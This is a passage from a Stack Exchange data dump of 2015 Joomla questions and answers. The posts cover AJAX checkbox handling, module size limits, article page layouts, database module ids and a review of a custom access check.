type=&quot;checkbox&quot; name=&quot;data&quot; value=&quot;&amp;lt;?php echo $item-&amp;gt;id; ?&amp;gt;&quot; &amp;lt;?php if($item-&amp;gt;selected) echo(&quot; checked &quot;);?&amp;gt;/&amp;gt;        &#xA;        &amp;lt;/div&amp;gt;          &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; value=&quot;Save&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is to allow the user to check/uncheck categories and send that new selection to the module and save it back to the DB. I haves the following code in my &lt;strong&gt;mod_userfavcats&lt;/strong&gt; module, based on helloworld com_ajax sample.&#xA;The problem is that don´t know how to obtain each checked value as an array, for example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function ($) {&#xA;$(document).on('click', 'input[type=submit]', function () {&#xA;    var value   = $('input[name=data]').val(),&#xA;        request = {&#xA;                'option' : 'com_ajax',&#xA;                'module' : 'userfavcats',&#xA;                'data'   : value,&#xA;                'format' : 'raw' &#xA;            };&#xA;    $.ajax({&#xA;        type   : 'POST',&#xA;        data   : request,&#xA;        success: function (response) {&#xA;            $('.status').html(response);&#xA;        }&#xA;    });&#xA;    return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;})(jQuery)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you very much !&lt;/p&gt;&#xA;" OwnerUserId="5684" LastEditorUserId="5684" LastEditDate="2015-08-05T15:54:09.660" LastActivityDate="2015-08-05T16:23:18.603" Title="How can I pass dynamically created checkboxes in a module to com_ajax?" Tags="|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11059" PostTypeId="2" ParentId="11058" CreationDate="2015-08-05T16:23:18.603" Score="0" Body="&lt;p&gt;With a JQuery, you can find checkboxes and return checked property. &lt;a href=&quot;https://stackoverflow.com/questions/426258/checking-a-checkbox-with-jquery&quot;&gt;https://stackoverflow.com/questions/426258/checking-a-checkbox-with-jquery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-08-05T16:23:18.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11060" PostTypeId="2" ParentId="11055" CreationDate="2015-08-05T16:28:37.943" Score="3" Body="&lt;p&gt;It is the default &lt;em&gt;width to display&lt;/em&gt; the column at when the table's data is being viewed via the MySQL console in MySQL for INT. &lt;a href=&quot;http://waynewhitty.ie/blog-post.php?id=19&quot; rel=&quot;nofollow&quot;&gt;http://waynewhitty.ie/blog-post.php?id=19&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An INT column will always have a maximum value of 2147483647.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-05T16:28:37.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11063" PostTypeId="1" CreationDate="2015-08-05T19:30:52.843" Score="5" ViewCount="251" Body="&lt;p&gt;I am attempting to port a Javascript searchable membership roster (name address, etc) from my HTML site to a new Joomla 3.4 site. The Javascript (created by Satadip Dutta) in embeded in the HTML file. The file works perfectly in the HTML site and it works perfectly in Joomla, EXCEPT when I enter more than 166 member information (I have about 340 members). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When attempting to enter the code in Custom HTML Advanced with more than 166 member's info, I cannot save the the HTML code in the Custom HTML Advanced module. There is no coding errors as I am doing a copy and paste into Custom HTML Advanced and once I discovered the issue I added/removed member information one at a time until it broke. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas what is causing this issue?&lt;/p&gt;&#xA;" OwnerUserId="5686" LastEditorUserId="1629" LastEditDate="2015-08-07T12:37:00.173" LastActivityDate="2015-09-06T14:57:00.917" Title="Custom HTML Advanced Issue" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11064" PostTypeId="1" CreationDate="2015-08-06T00:14:38.770" Score="0" ViewCount="2233" Body="&lt;p&gt;I have articles on my website that I'm using for actual &quot;article/blog entries.&quot;   They have their own categories (News, Tech, etc.).  I use these categories to show the articles in modules designed to rotate among more recent news articles, articles from a particular category, etc.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my problem:  When a user clicks on any article link, that article is shown using the home page's layout:  the article is the central content, but all of the other modules that are on the home page are there.  What I want to do is have &lt;em&gt;a  particular page design for all articles&lt;/em&gt;:  it has all of the standard menus and such, but &lt;em&gt;only one article is shown as the central content&lt;/em&gt; (along with whatever modules I'd like to be visible &lt;em&gt;just on all article pages&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched and searched for something like an option to tie an article category to a particular &quot;hidden menu&quot; module/layout (I'm familiar with that trick, but I can't find a way to make it apply here), etc.  Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="5687" LastEditorUserId="1629" LastEditDate="2015-09-02T20:21:28.207" LastActivityDate="2016-08-28T08:16:24.697" Title="Have articles show not on home page, but their own menu &quot;template&quot;" Tags="|joomla-3.x|articles|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11065" PostTypeId="1" CreationDate="2015-08-06T03:05:08.023" Score="1" ViewCount="132" Body="&lt;p&gt;I'm still new to Joomla so bear with me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have many user groups and each of their access levels. For example, I will have two user groups for each department, &lt;code&gt;Admin Manager&lt;/code&gt; and &lt;code&gt;Admin&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the access level, I will create one as &lt;code&gt;Admin&lt;/code&gt; and the user groups I will tick the &lt;code&gt;Admin Manager&lt;/code&gt; and &lt;code&gt;Admin&lt;/code&gt; that I just created in user group. This process repeats many times as there are lot of departments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I have to create an article based on each user access level and their user group ID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to auto create those article after creating user group and user access level?&lt;/p&gt;&#xA;" OwnerUserId="5613" LastEditorUserId="3650" LastEditDate="2016-03-06T21:42:04.240" LastActivityDate="2016-03-06T21:42:04.240" Title="Is there a way to auto create an article after creating user group and access level?" Tags="|joomla-2.5|articles|article-manager|user-groups|access|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11066" PostTypeId="2" ParentId="5675" CreationDate="2015-08-06T07:35:35.007" Score="2" Body="&lt;p&gt;Simply this works for me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$options = array(&#xA;'active'    =&amp;gt; 'tab1_id'    // Not in docs, but DOES work&#xA;); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'ID-Tabs-Group', $options);?&amp;gt; &#xA;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.addTab', 'ID-Tabs-Group', 'tab1_id', JText::_('COM_BOOTSTRAPTABS_TAB_1')); ?&amp;gt; &#xA;&amp;lt;p&amp;gt;Content of the first tab.&amp;lt;/p&amp;gt; &#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTab');?&amp;gt; &#xA;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.addTab', 'ID-Tabs-Group', 'tab2_id', JText::_('COM_BOOTSTRAPTABS_TAB_2')); ?&amp;gt; &#xA;&amp;lt;p&amp;gt;Content of the second tab.&amp;lt;/p&amp;gt; &#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTab');?&amp;gt; &#xA;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTabSet');?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2015-08-06T07:35:35.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11067" PostTypeId="2" ParentId="10663" CreationDate="2015-08-06T07:37:13.047" Score="1" Body="&lt;p&gt;Two files do have double slash&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//media/jui/css/bootstrap.min.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//media/jui/css/bootstrap-responsive.css&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These two may not load properly.&lt;/p&gt;&#xA;" OwnerUserId="5689" LastEditorUserId="1629" LastEditDate="2015-08-07T12:39:42.787" LastActivityDate="2015-08-07T12:39:42.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11068" PostTypeId="1" AcceptedAnswerId="11071" CreationDate="2015-08-06T09:22:51.880" Score="5" ViewCount="72" Body="&lt;p&gt;I want to create a page which someone can view only if he is registered and granted access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For granting access to a user for i use a row in the #__users table named &lt;code&gt;activated2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i created a view file inside a component and my &lt;code&gt;view.html.php&lt;/code&gt; file is like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class IpropertyViewVtourpaketa extends JView&#xA;{&#xA;  function display($tpl = null)&#xA;  {   &#xA;                 $user = JFactory::getUser();&#xA;&#xA;                 if (!$user) {&#xA;&#xA;                  header('Location:index.php?msgvtour=You need to register and get activated');&#xA;&#xA;                }&#xA;                else {&#xA;                 $db= JFactory::getDBO();&#xA;                 $query='SELECT activated2 from `#__users` where id='.$user-&amp;gt;id;&#xA;&#xA;                 $db-&amp;gt;setQuery($query);&#xA;                 $pro=$db-&amp;gt;loadResult();&#xA;&#xA;                 if ($pro==0) {&#xA;&#xA;                     header('Location: index.php?msgvtour=You need to get activated');&#xA;                 }else {&#xA;&#xA;                // Display the view&#xA;                parent::display($tpl);&#xA;              }&#xA;            }&#xA;        }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what im doing is : check if he is registered, if not redirect him . Then check if he is activated, If not redirect him. Else redirect to the view where he can see the page.&#xA;This is working really nice altough what i wanted to know is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How safe is this way i use?&#xA;Could this be easily hacked or bypassed?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2015-08-06T19:30:17.560" Title="Is my &quot;hidden&quot; page secured?" Tags="|joomla-2.5|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11069" PostTypeId="2" ParentId="11064" CreationDate="2015-08-06T09:26:23.467" Score="1" Body="&lt;p&gt;You have to &quot;assign&quot; the right Itemid to the article link. You can just create a view override to fix links Itemid, or just relay on default Itemid lookup via Joomla Router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the idea, you can disable SEF and manually create Urls with different Itemids to find the right menu item and show a specific template/layout. &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-06T09:26:23.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11070" PostTypeId="2" ParentId="11068" CreationDate="2015-08-06T09:41:27.337" Score="3" Body="&lt;p&gt;No, your code is not right.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;JFactory::getUser() always returns a user object. If user is a guest, $user-&gt;id == 0 or better ($user-&gt;guest)&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;#__users&lt;/code&gt; table, there is no user id 0&lt;/li&gt;&#xA;&lt;li&gt;index.php?msgvtour does not seem to belong to Joomla world&lt;/li&gt;&#xA;&lt;li&gt;Instead of &quot;header('Location:...&quot;, it is better to work with Joomla API (check )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For example, from components/com_users/views/profile/view.html.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Execute and display a template script.&#xA; *&#xA; * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA; *&#xA; * @return  mixed   A string if successful, otherwise a Error object.&#xA; *&#xA; * @since   1.6&#xA; */&#xA;public function display($tpl = null)&#xA;{&#xA;    ....&#xA;    // View also takes responsibility for checking if the user logged in with remember me.&#xA;    $user = JFactory::getUser();&#xA;    $cookieLogin = $user-&amp;gt;get('cookieLogin');&#xA;&#xA;    if (!empty($cookieLogin))&#xA;    {&#xA;        // If so, the user must login to edit the password and other data.&#xA;        // What should happen here? Should we force a logout which destroys the cookies?&#xA;        $app = JFactory::getApplication();&#xA;        $app-&amp;gt;enqueueMessage(JText::_('JGLOBAL_REMEMBER_MUST_LOGIN'), 'message');&#xA;        $app-&amp;gt;redirect(JRoute::_('index.php?option=com_users&amp;amp;view=login', false));&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    ....&#xA;&#xA;    return parent::display($tpl);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-08-06T19:30:17.560" LastActivityDate="2015-08-06T19:30:17.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11071" PostTypeId="2" ParentId="11068" CreationDate="2015-08-06T09:42:07.243" Score="2" Body="&lt;p&gt;There are some things I would change:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You should not put your database queries in this file. Joomla uses MVC, therefore your queries should be put in a function, in the model.&lt;/li&gt;&#xA;&lt;li&gt;Don't use PHP's default &lt;code&gt;header()&lt;/code&gt; function. Instead make full use of the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JApplication.html#method_redirect&quot; rel=&quot;nofollow&quot;&gt;Joomla API for redirecting&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rather than adding your own column (activated2) to the &lt;code&gt;#__users&lt;/code&gt; table which is a bad idea, I'd suggest you make full use of &lt;a href=&quot;https://docs.joomla.org/J2.5:Access_Control_List&quot; rel=&quot;nofollow&quot;&gt;Joomla's ACL Management&lt;/a&gt; for your component.&lt;/li&gt;&#xA;&lt;li&gt;For the database query, I'd suggest using Joomla's methods rather than writing it in plain SQL. &lt;a href=&quot;http://docs.joomla.org/Selecting_data_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;Here here for more information&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-08-06T09:50:04.243" LastActivityDate="2015-08-06T09:50:04.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11072" PostTypeId="1" CreationDate="2015-08-06T09:44:24.580" Score="5" ViewCount="103" Body="&lt;p&gt;Is there a way to know how many people are on a specific page of a joomla site and to display the result in a module. i own a chess site with live chess broadcast facility. I would be cool if on that page, there would be something like 3 members and 12 guest are watching &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on joomla 3.4.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I look forward to reading from you&lt;/p&gt;&#xA;" OwnerUserId="5690" LastEditorUserId="126" LastEditDate="2015-08-21T18:38:33.993" LastActivityDate="2015-08-21T18:38:33.993" Title="Who is watching this page?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11073" PostTypeId="2" ParentId="11063" CreationDate="2015-08-06T09:47:24.697" Score="1" Body="&lt;p&gt;If you are trying to add a big static piece of HTML, it would be better to paste it into an article (Editor Off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also implement a specific module oriented to add source code, JED &lt;a href=&quot;http://extensions.joomla.org/category/core-enhancements/coding-a-scripts-integration&quot; rel=&quot;nofollow&quot;&gt;Coding &amp;amp; Scripts Integration&lt;/a&gt;  (e.g. NoNumber's sourcerer). Joomla Custom Html module applies certain filters that may block your code.  &lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-06T09:47:24.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11074" PostTypeId="2" ParentId="11072" CreationDate="2015-08-06T10:00:54.377" Score="1" Body="&lt;p&gt;Just install and configure built-in module Who's Online &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-08-06T10:00:54.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11075" PostTypeId="1" CreationDate="2015-08-06T10:26:14.507" Score="3" ViewCount="91" Body="&lt;p&gt;Here is script I have. I'm trying to load it after page display. I'm trying to execute PHP code from javascript. What I need is to get email address of user who submitted the form at the textbox control.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var originator_email = document.getElementById(&quot;jform_sendto_first_step&quot;);&#xA; originator_email.value = &quot;&amp;lt;?php  echo JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('email'); ?&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the error I have.&#xA;&lt;strong&gt;using $this when not in object context&lt;/strong&gt; bla bla bla.  What's proper way of doing this ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried to include the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  echo JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('email'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into the page directly and I can see it throw the result to the screen no problems. &lt;/p&gt;&#xA;" OwnerUserId="5674" LastActivityDate="2015-08-10T15:49:36.830" Title="Joomla - PHP+$this wrapped in Javascript." Tags="|joomla-3.x|jform|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11076" PostTypeId="1" AcceptedAnswerId="12108" CreationDate="2015-08-06T11:12:34.907" Score="1" ViewCount="2070" Body="&lt;p&gt;My problem is clear, I have a module on a sample Joomla project and I want to transfer is as it is to another Joomla site of mine. How might that be possible? I have searched the database and found the entries about the modules, but I have seen that there might be mutliple entries for each mod_* folder. Which is the way to go?&lt;/p&gt;&#xA;" OwnerUserId="5646" LastActivityDate="2015-08-10T13:34:48.710" Title="How to transfer a module between sites" Tags="|module|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11078" PostTypeId="1" AcceptedAnswerId="11079" CreationDate="2015-08-06T15:47:14.253" Score="1" ViewCount="113" Body="&lt;p&gt;So it displays a error:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error loading component: com_weblinks, Component not found.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I suppress this menu entry (I don't need Web Links) ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a site migrated from a 2.5 one, which was the migration of a 1.5 one.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried installing/uninstalling the Web Links Manager from JED but that didn't work. The Components -&gt; Categories entry is always here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entry points to index.php?option=com_categories&amp;amp;extension=com_weblinks. This is the same as the sub-menu of Component-&gt; Weblinks -&gt; Categories when the Weblinks Manager is installed. Just like if this sub-menu entry became a main menu entry and hence cannot be uninstalled...  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB : in the extensions table, the only occurrence of com_categories is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com_categories: (6, 'com_categories', 'component', 'com_categories', '', 1, 1, 1, 1, '{&quot;name&quot;:&quot;com_categories&quot;,&quot;type&quot;:&quot;component&quot;,&quot;creationDate&quot;:&quot;December 2007&quot;,&quot;author&quot;:&quot;Joomla! Project&quot;,&quot;copyright&quot;:&quot;(C) 2005 - 2015 Open Source Matters. All rights reserved.&quot;,&quot;authorEmail&quot;:&quot;admin@joomla.org&quot;,&quot;authorUrl&quot;:&quot;www.joomla.org&quot;,&quot;versio‌​n&quot;:&quot;3.0.0&quot;,&quot;description&quot;:&quot;COM_CATEGORIES_XML_DESCRIPTION&quot;,&quot;group&quot;:&quot;&quot;}', '', '', '', 0, '0000-00-00 00:00:00', 0, 0)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doesn't seem to correspond to my menu entry...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea anybody ?  &lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="1629" LastEditDate="2015-08-07T12:42:59.377" LastActivityDate="2015-08-07T12:42:59.377" Title="The Component menu (backend) contains a Categories entry pointing to com_weblink which doesn't exist" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11079" PostTypeId="2" ParentId="11078" CreationDate="2015-08-06T19:36:40.610" Score="1" Body="&lt;p&gt;I think your migration from J2.5 to J3 included weblink records even when it is not included now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even, if you install and uninstall weblink extension, it does not clean these records.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would manually locate category weblink records (#__categories, extension=com_weblinks) and remove them.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-06T19:36:40.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11080" PostTypeId="2" ParentId="11076" CreationDate="2015-08-06T19:42:48.300" Score="1" Body="&lt;p&gt;Your site has many module instances in #__modules. One for each created module in Module Manager. For instance, if you have 10 Custom Html modules, you will find 10 records for mod_custom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only have to insert in your target site the instance that your are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, notice that you are not copying menu assignment (#__modules_menu). You have to manually assign the module in the target site.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-06T19:42:48.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11084" PostTypeId="2" ParentId="11063" CreationDate="2015-08-07T14:17:40.787" Score="2" Body="&lt;p&gt;I assume you're using &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt; to add your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;textarea&lt;/code&gt; field used to enter your code in this module has a limit as to how much data can be included (about 50KB), so if your Javascript and member's info is very long, that might be the cause. You can use &lt;a href=&quot;http://bytesizematters.com/&quot; rel=&quot;nofollow&quot;&gt;this tool&lt;/a&gt; to check the size of your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you place parts of the Javascript in an external &lt;code&gt;.js&lt;/code&gt; file, and load it (you can use Custom HTML Advanced for this if you like).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;path/to/your/js/file.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-08-07T14:17:40.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11085" PostTypeId="2" ParentId="10731" CreationDate="2015-08-07T22:16:42.057" Score="2" Body="&lt;p&gt;If you are testing on save, then echo'ing out something may never be seen as almost certainly a redirect is triggered after the save. So try adding an exit; to double check that it really isn't firing :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentTest extends JPlugin&#xA;{&#xA;    /**&#xA;    * Loads the application object&#xA;    *&#xA;    * @var    JApplicationCms&#xA;    * @since  3.2&#xA;     */&#xA;    protected $app = null;&#xA;&#xA;    public function onContentAfterSave($context, &amp;amp;$article, $isNew)&#xA;    {&#xA;        $option = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        if ($option=='com_content')&#xA;    {&#xA;            echo 'Test';&#xA;            exit;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that JRequest is deprecated and you can now inject in the Joomla application object by declaring it as a protected property.&lt;/p&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-08-07T22:16:42.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11086" PostTypeId="2" ParentId="11075" CreationDate="2015-08-07T22:27:03.830" Score="2" Body="&lt;p&gt;As Lodder says you can't expect a .js file (which is run in the browser) to run PHP - which is run on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest way round this is to echo out your javascript code on the server side.&#xA;So in your template's index.php, somewhere in the  section add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;?php  echo JoomlaEmail = &quot;' . JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('email') . &quot;';&quot;; ?&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when PHP runs your template file this should get written out to the browser as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;JoomlaEmail = &quot;test@email.com&quot;;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in your original javascript code you should be able to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var originator_email = document.getElementById(&quot;jform_sendto_first_step&quot;);&#xA;originator_email.value = JoomlaEmail;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In doing things this way you are polluting Javascripts global namespace which is not really the done thing, but you should be able to use this method to write out some JS code in the PHP file which is encapsulated inside a function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;(function () {&#xA;    var originator_email = document.getElementById(&quot;jform_sendto_first_step&quot;);&#xA;    originator_email.value = &quot;&amp;lt;?php  echo JFactory::getUser($this-&amp;gt;item-&amp;gt;created_by)-&amp;gt;get('email'); ?&amp;gt;&quot;&#xA;})();&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1912" LastActivityDate="2015-08-07T22:27:03.830" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11087" PostTypeId="1" CreationDate="2015-08-08T06:44:35.423" Score="0" ViewCount="332" Body="&lt;p&gt;I'm using Joomla &amp;amp; I go into phpMyAdmin, Straight to the modules table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a lot of the tables in the database, I can change the 'id' field of numerous tables, (menu, content) ect .. &amp;amp; then just relink the articles, rebuild the menu from Joomlas backend &amp;amp; all will be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change the id value in modules I do not know how to 'rebuild' or relink it, if I change the value it just doesn't show on the website until I revert the value.&lt;/p&gt;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2015-08-08T08:14:41.903" Title="I change a value 'id' in the modules table &amp; cannot find a way for it to work" Tags="|joomla-3.x|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11088" PostTypeId="2" ParentId="11087" CreationDate="2015-08-08T08:14:41.903" Score="1" Body="&lt;p&gt;It is pretty advanced what you are doing. Thus, you have to deeply know how all tables are linked. Otherwise, you are at risk of generating inconsistencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not dare to change values at tables directly on a daily basis. I have created batch scripts for migration (after careful testing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For examples, module instances are also linked to menu items. Then, if you change a module Id, you have to propagate the change to menu associated tables.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-08-08T08:14:41.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11089" PostTypeId="1" AcceptedAnswerId="12089" CreationDate="2015-08-08T13:54:55.957" Score="2" ViewCount="84" Body="&lt;p&gt;This may be a very basic question but i am new to this and all the tutorials i watched don't work with processing data before displaying.&#xA;I am working on a Administration Component thet is supposed to get data from a database (no problem) and then i want to do a few operations on it before displaying it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Question is now: Where in the MVC-Structure do i put my calculation-functions? For my unserstanding it would be logical to outsource it to a helper function - but if that is right, where do i call this helper functions?&lt;/p&gt;&#xA;" OwnerUserId="3945" LastActivityDate="2015-08-08T15:56:12.913" Title="Where to process data in MVC" Tags="|component|administrator|mvc|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
